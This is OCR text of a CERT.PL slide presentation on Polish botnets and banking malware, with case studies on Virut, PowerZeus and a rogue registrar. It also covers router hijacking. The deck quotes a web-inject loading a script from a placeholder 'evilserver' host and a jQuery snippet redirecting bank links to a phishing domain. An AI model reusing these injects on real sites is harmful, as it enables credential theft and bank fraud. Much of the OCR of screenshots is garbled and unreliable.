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Would you like a Porsche?

Porsche Cayenne S Turbo: 149 000 USD
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Or maybe a different type?

Porsche 911 Turbo: 149 000 USD
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The car is there ...

Porsche Cayenne S Turbo:

149 000 USD
Porsche 911 Turbo:

Paunch (Dmitry
Fedotov?):
50 000 USD monthly

src: krebsonsecurity.com, www.group-ib.com CERT.PL



And a luxurious lifestyle ...

Hamza Bendelladj (bx1):
10-20 mIn USD for a
transaction?

src: krebsonsecurity.com, emirates.com CERT.PL



Losses seem huge * ...

< INSERT ANY NUMBER OF SSS
REPORTED IN THE MEDIA HERE >

* but also obviously hard to verify
independently
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What do we try to do about it as
CERT.PL?

Try to assess the situation from the local

perspective (attribute numbers, at least based
on what we receive)

Look at threats that use Polish internet
properties on a large scale for C&C purposes
or target Polish users Look at threats that

Try to do something about it ...
Mostly malware/botnet related
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Bots in Poland in 2013 - over 15 min
unique IP/bot combinations registered

0% 5% 10% 15% 20% 25% 30% 35% 40% 45%

Conficker
Virut

Zeu$S
Sality
ZeroAccess
Pushdo
ZeuS-P2P
Kelihos
Cutwail

Dorkbot

Other

Percentage = out of total bots registered CERT.PL >



Daily maximum of unique IP/bot
combinations throughout 2013

| | | | | | | | |
Conficker 45521

Sality 24080

ZerOACCESS | 19025
Virut __ 15063
Zeus/Citadel __ 12193
B58 __ 7555

Zeus P2P __ 5232
Ircbot _— 4912
Pushdo __ 4534
Kelihos P 4058

(I) 5000 10000 15000 20000 25000 30000 35000 40000 45000 50000

Overall using this methodology: 170k unique IP/bots seen daily CERT.PL




Much C&C infra for a lot of botnets
was in Poland

ZeusS

Citadel

ZeuS ICE IX

Virut

Sality
Dorkbot/Ngrbot
Andromeda/Gamrue
RunForestRun
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Changes in the .ru ccTLD

.ru Registry introduced changes that enabled
takedowns of domains ... and then ...

, A few days ago Jindrich Kubec (Avast) pinged
me that the RunForestRun malware changed
the domain generating algorithm (DGA) and
now uses waw.pl subdomains (instead of .ru)
in malicious URLs.”

http://blog.unmaskparasites.com/2012/07/26/runforestrun-now-encrypts-legitimate-js-files/
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CASE STUDY #1: VIRUT
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Virut

Virut botnet, controlled from Poland

Basic method of spreading: PE file infection (later
versions also spread by HTML files, drive-bys)

Business model: pay-per-install schemes, rented
out

Involved in financial theft, DDoS, spam etc.
Centrally managed over an IRC based protocol
Operational since 2006

Tons of variants
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Virut in statistics — Kaspersky 2012

Malicious objects detected on user computers: Top 20

The malicious programs in the Top 20 below are the most widespread local threats of 2012,

Rank Name

Number of unigue users*

%%

1

o o = A s N A |

—h
]

Trojan. Win32_Generic
DangerousObject Multi. Generic
Trojan. Win32 AutoRun.gen
Trojan. Win32 Starter.yy

Virus Win32 Virut ce
Met-Worm Win32 Kido.ih
Met-Worm Win32 Kido.ir

Virus Win32 Sality. aa

Hoax Win32 ArchSMS.gen

Virus Win32.Generic

9,761,684
9,640,618
5,969,543
3.860,982
3.017,527
2,752,409
2,181,181
2,166,907
2,030,664
2.017.478

22 1%
21.9%
13.5%
8.8%
6.8% _
6.2%
4.9%
4.9%
4.6%
4.6%
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Virut — botnet takeover

e Jan/Feb 2013: NASK in coordination with

multiple other parties took over all known
Virut domains worldwide.

* Over 82 domains taken down —43 .pl, 30 .ru, 8
.atil.org and redirected

* Sinkhole established: sinkhole.cert.pl
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Virut — snapshot at the moment of

takeover
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Virut sinkholed
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Domain hijacking & DGA

Fallback mechanism when communicating with
unauthenticated C&C

2048 bit RSA crypto, SHA-256

To recognize C&C (incl. static ones) as legitimate waits
for signed date (+/- 3 days) and IP, else disconnects
after 30 seconds

To recognize DGA domain as legitimate, needs signed
domain name, obtained after connecting to port 443
(waits for 20 seconds, then disconnects)

Up to 10k domains can be used daily
— 6 characters long, .com TLD

But this seems to vary ...
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BANKING TROJANS - POLAND
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“Man in the Browser”
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Web-inject

Target URL : “*/our internet bank/*”
data_before
<head>
data_after
<body>
data_inject

<script type="text/javascript”
src=https://evilserver.example/grabmoney.js”>

</script>
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Automatic Transfer System

login
password
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“Erroneous transfer”

i |
* | Szanowny Kliencie!

Dzisiai na Wasze konto zostat dokonany bledny przelew srodkyw pienieznych w kwocie 29876 PLN od /inats mrascisiwiim 7 konta
40114020040000 o sl 7godnie z zasadami naszego banku ta kwola zostala zsliczona na Wasze konto rozficzeniowe, ale byta
zamrozona dla wykorzystania.

Zgodnie z Zasadami korzystania 7 Serwisu Przelewyw Intemetowych (p. 43) celem zapobiegania niesankcionowanego przelewu srodikyw
plenleznych dziatanie Waszego konta zostalo wstrzymane do czasu pelnego zwrotu srodkyw pienieznych na konto
40114020040000 s s wiasciciel ktyrego KRy I sl zgtosi bledny przelew.

Zeby byto Wam fatwiej, system zaraz automatycznie przejdzie do formy przelewu Srodkyw plenieznych | wypelnl za Was wiszystkie potrzebne
pola. Prosze potwilerdzic tg operacie | w ciggu 60 min. Wasz dostep do poczty bedzie wznowiony.

W preypadku Waszej odmowy zestosowad sie do tej instrukcii prosimy niezwdocznie 2wrdcic sie do najblizszego oddziaty Waszego banku z
oryginatami umowy obstugi | swoim paszportem. W przypadku niezvaycenia Srodkyw pienieznych bedziemy emuszeni przekazac spravee do
policyi.

Kwola, ktyra zostata przelana na Wasze konto bedzie automatycznie zablokowana poprzez automatyczny system zwalczania oszustwa (frond-
systemem)

* Informacia dla Was:

* Oszustwo z uzyclem kart kredytowych nalezy do przestepstw kamych. Osoby, ktyre pomagalg w praniu (legalizacil) nielegainie otrzymanych
Srodkow plenieinych (przelewem z kont bankowych) sa podiggani do odpowiedzialnoscl karmej zoodnie z ustawodawstwem Rzeczypospalite)
Polskiej.

» Sytuacje z Waszym kontem uwaZamy za Swiadczenie pomocy przy praniu niglegalnie (bez sankcll) przelanych srodkyw pienieznych.

Dalej
Z powazaniem,
Departament Bezpieczenstwa Informacyinego Banku

Dzial zwalczania on-line-oszustwa

CERT.PL>_



“Defined transfer”

Imiana formatu konta

Bank zmienia format konta, Prosimy 0 potwierdzense danel operagy w tym celu nowy numer konta naley okresic jako
odbiorca 2definiowany.
Nowy numer konta baedze aktywny po uplywie 7 dni je2el dana operaga nie zostanie potwierdzona, to przyjece przelewow
na twoje xonto bedne nemoziwe.

Prosze podac kod SMS numer: 334 m

Witaj w systemie bankowosci internetowej Alior Banku

Komunikat bezpleczeristwa

Alior Bank NIE MODYFIKUJE formatu numeréw
rachunkéw i NIE WYMAGA potwierdzania
zwiazanych z tym operagji!

W przypadku jakichkolwiek watpliwosci prosimy o kontakt
z naszg infolinia pod numerem telefonu 19 502.

Przejdz dalej
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CASE STUDY #2: POWERZEUS
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ldentyfik 2tor

Zainstahs) w Twoim telefonie komorkowym certyfikat E-Securky, powstaly ze

wspdip 2 naszym bankiem, aby dale] korzys 2 Bankowosaa nicznal Ten
cartyhikat pozwoll korzystac sig yfrowania algorytmem AES o dhugoso klucza 256
I’uh‘l'n‘. prey uzyou wiadomosc sme. Ponizsze krola pozwoly C1 zarstalowac tan
certyhikat,

Orosze wybrat sysdem opevacyiny Twolego tefeforiu komarkowsgo,

® I0S(IPhone)

® BlackBerry

O Antiredd(Sams ung, HTC LG SONY)
® Symbian{Nokiz)

'S rrnar koynavkowy aby dostac we

pach cortylis atu E-Security
tumer telefonu komorkowago: -+ (0 [N NN

2. VAgczenie funkeji Nieznane frddia

Ta aplkacia jest opracowareem autorskim naszego
banku, wiec Twoj telefon moze blokowac jej instalacie
Dla pomysine] instalaci massisz 2aznaczylé ptaszkiem

Ustaw. andecid v 4 * J i 165 [ : 'oszg  Zrobic

« Begpiecredntwo 4 !
-Admiristracja Ustayienia

wzadaenie urzadzene «>

Uitaw. andicid v 2*

- Aplikace lazeli Android w
- ’ 5 ‘/ Ustawignia -> Aplikacie -> Nigznane srodis
eTnang 2iira

adminestracia

4 Prawa dostepu do aplikacii

Aby kortyrwowat Instalacys przejdz poa  adres
2aznaczorny w linku, Po pobraniu programu, przejdZ do
folderu Pobrane, odnajdz plik e-sacunty apk i uruchom
3] programe
2¢ aplikacig naosni "Instalu)

é E-Secunity

Zerresls) o) ackiheci na

(ntane
wendd e 4y NS,
Esytownnis
WRO0MOAC) SIS

—~
E-S=cuwity

Kod E-Securlty:

Jeweeriens

1. Wiadomost SIS 2e wskardwkami

Dostates wiadomose z inkiem do aohkac Certyfikat E
Secunty w wersy odpowsednie) systemu operacynego
Twojego b fonu., J Il ne otrzymales wiadomoso,
prosimy 0 sprawdzenie  wprowadzonsago numery
Klikni) DALEY =5 aby dostat kadsine wskazowki

3. Sposth pobiarania

Do pobierans certyfikaby E-Securty zalecamy u2vwal
standardowe) przegladark android 05 c2y Opara Mini

5. Kod E-Security

Po Instalac)l certyhkaty E-Secunty dostales ked

mezbedny do aktywac) | pobtwerdzena pomysing:
INstalacy

Werowadz kod E-Security




PowerZeus/KINS

Started targeting Polish users around July 2013

Combines 3 features: webinjects (Zeus), plugin APl (SpyEye),
code injection methods used by Power Loader (Alureon)

Modules downloaded by framework (essentially what
PowerZeus is)

Includes a module we called zeus-dll (encrypted on disk)

This particular instance aimed at installing the poland.apk,
polska.apk, e-security.apk on an Android

This instance used .ru domains for C&C

CERT.PL



Command features ... +

,steganography”

get info

— starts with #, phone no. somewhere in message

new number

— starts with /, phone no. somewhere in message

fin
— starts with,

uninstall
— starts with |

/3 sierpnia jest nowy Samsung
4G 66 uspey kupic pierwszy.

promo Kod. 2

. Wiecej

www.samsung.com informacji

+34 668 ...

CERT.PL



Spanish connection

karta Cie wyNAGRODZI, I

Wez udzial w loterfi Plac >> Nieodebrane polaczenia,

karta | wygrywaJ, Pula Teraz mozesz oddzwomc do, ‘

nagrod to 170tys zl, Wiece] +43% sl i
.ingbank.pl/

na WwWw,INngbank,p 04/09?08001"

placiwygrywa)]

13353, 4 Sep.

ModelsGT-19001 -

AC:193533423 Hi0 AltC"o

Ve1,2,9 Mfesamsung/2
1130,

>> Zamowilam sobie lek na
tamoJja °) Haha
13353, 4sep.

>> 0 ktorej bedziesz ?
13:53, 4 sep.

>> Kochanie jednak mnie
nie bedzie na silowni
13259, 4:5€ep.

fonyou.es — turns out C&C
number was virtual

ModelsLT26f ACS 17443151f:w
H20 AlEC20 V21,2,9 MfiSony
Ericsson/4,1,2

ModelsGT-§5830
AC:135113243 H20 AltC21
V°1 209 Mfssamsung/2,3.4
11318, 4 sep.

>> ING Bank, Sprawdz
KWOTE i RACHUNEK, Kod
autoryzacyjny dla |
przelewu na rachunek 10
XXX 004, na kwote |
‘26128200 tos 15134811 A%
; 2013 09,04 %% 113 56°34 |

>> SYSTEM OK
12'20 4 Sepo.
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Sinkhole stats unique IPs/day

W Foland
M Portugal
Sample date:

12/11/2013

M Spain
[ Italy
M Germany 1268
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CASE STUDY #3: DOMAIN SILVER
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Domain Silver, Inc

Seychelles based Registrar, active in .pl since June
2012

Q4 2012: an increase in domains registered
through this Registrar, mostly for C&C purposes

Weak reaction to abuse notifications

— Slow suspension of domains, apparently to allow for
the botnets involved to hop to other C&C domains

Despite numerous requests, the malicious
registrations continued

CERT.PL



Domain Silver, Inc

Q1-Q2 2013: takeover of about 100 domains
used for C&C

Formal request to cease malicious
registrations

Domain Silver, Inc, claimed to comply but the
malicious registrations continued

30th July 2013: NASK terminated its
agreement with Domain Silver, Inc.

CERT.PL



Domain Silver, Inc

e Overall, out of 641 domains registered on the
9th of July 2013 (plus sinkholed previously), all
active ones turned out to be malicious — apart
from domainsilver.pl itself

e Qver 20 different botnets taken over or
disrupted:

— including ransomware cases ...

CERT.PL



Sort of ,,cloud services” ...

L
User Machine

e e e e e s e

infocyber.pl

lCitadel C&Cs |

infocyber.pl

infocyber.pl

__________

.
Ll
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Distribution of botnets registered
through Domain Silver, Inc

100 200 300

CERT.PL>_



CASE STUDY #4: SOHO ROUTER
HACKING
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SOHO Router Case
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Scenario 1

« & www.bgz.pl ¢ | |B - Google

0 Banku | Aktualnosd | Serwis ekonomiczny | Fundacia BGZ | SOB | Relacie inwestorskie | Biuro prasowe | Kariera | Kontakt ¢

A\ Bank BGZ DLACIEBIE = BANKOWOSC OSOBISTA | DLAFIRMY | DLAROLNICTWA | BIURO MAKLERSKIE | FUNDUSZEUE | LEASING

Dobrze stuzy ludziom

NOTA PRAWNA
— ZALOGUI SIE

Wez tanig pozyczke | e 2 _ -
- . 3 - dowiedz sie wiece
K z matymi odsetkami |

O AN
-‘ "WNTEM

. lub wybierz
‘i E‘LZ naszej
= g SPRAWDZ >>
1l
i
DLA CIEBIE

Rachunek, kredyt, lokata? Mamy dla Ciebie najlepsza oferte. Sprawdz jak tatwo zarzadzac
codziennymi finansami przez internet, jak szybko uzyskasz kredyt i ile zarobisz na lokatach.
A moze potrzebujesz karty kredytowe;j lub ubezpieczenia? Albo rachunku walutowego?

Zapraszamy do sekcji DLA CIEBIE.

KONTAKT ‘

| e

AMACTE DL ACANA
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Scenario 1

The following piece of code was injected at the end of the HTML:

<script>

jQuery(document).ready(function() {
jQuery(‘a[href*="ebgz.p!"]').attr(‘href','http://ssl-.ebgz.pl/");
jQuery('li p a.button.green').attr('href','http://ssl-.ebgz.pl/");
),

</script>

CERT.PL



Scenario 1

") E-BGZ - Mozilla Firefox
Blil. Edwcja  Widok Historia Zakbadki  Marzedzia  Pomoc

| @ E-B? m

| 6 @Gsl-.el:ngz.pDcIetaI-weI:n,I'jbank,l'unlugged,l'chuase,l’methad.da?rid=EI.496??138411D9428&srvc= : c | | = Google
S

[Ta wikryna nie dostarcza informacii o swej I:Dz'samasici]

Potgczenie z kg witryng nie jest szwfromane.

‘Wiecej informacii...

Logowanie Enalish version

1. Przed zalogowaniem:

Sprawdz poprawnose adresu w pasky adresowym przeglgdarki, Zostan klientem Banku
Adves powinien sie rozpoczynad od{bekp: (sl W, ebaz, pl)

Zatoz konto

Instrukcja dla najnowszego Firefoxa: Korzwstam z innej przegladarki

' Kliknij na element w pasky adresu; l@ Biank i 2
i zobacz, czy certyfikat jest wystawiony dla adresu www.ebgz.pl
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Scenario 2

To polaczenie jest niezaufane

Fe o POEr Ry O S W D8 CDee ey ol g DA 1w s oy
e T et ets A S e Jur ol sen Lo (id oy wres
Lot POOCLES Favngl pwalvh DD 2y Dol et wits phy S0SLar 200y 2ok arvch ef (rmay 0

Baeamodsl, Soworang w10 G0NCh, 2 Woythowerd Laray B T el alowerm sereeren ‘W prarpedie by
strorry todsamotd re mode byt pdog swerfhomana

Co teraz rrobe?

Tedh porhie pob g reven 1Ly slbr yrig Or delengh Bet Ll g odienion D4 g e wuide carae e D Mok
el sy podespt pesd 0 ity WA 1) e raindy bt yrevead

[ Zatearz move siad |
Srcregoly technicane
Rosumdem zagrodenie

Fodglad certyfiatu:"thawle . com’
Ne modna sprowdad tege certyfikatu 2 meznanych praycoyn.
Wystawsorry dla
Kazwa pospolt s (CN) hawde com
Crgarizacis (0) m
Jednosthka organiacyina (OU) Pt L0y ¢ u
Numer seryyvy JASFTDE IS BF BAAT 45 C 20 060 X0 6010
Wystawsorry peres
Naowa pospolts (ON) thawtte com
Orgarizacss (O) Dunde (e
Jedrostha orgaraacying (OU)  <Ne jest caglog omtyfaby>
Wamodd
Wystawony dnia 20000101
Wygass dne 20060100
Odcda
Ocdosk SHAY 192071 S8 CC B EF 1 7 79:C209 T4 6C 66 D8 06 AL BA S
Odonk MOS ACTECAAAB FO A 64 1900 OF SA-40 1445 %0
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The trend we see: hacking the mind

>rookts

COMPY460

Src. www.pocobor.com CERT.FIL



CERT.PL>_

Contact: info@cert.pl

Twitter: @cert_polska_en
Web: www.cert.pl



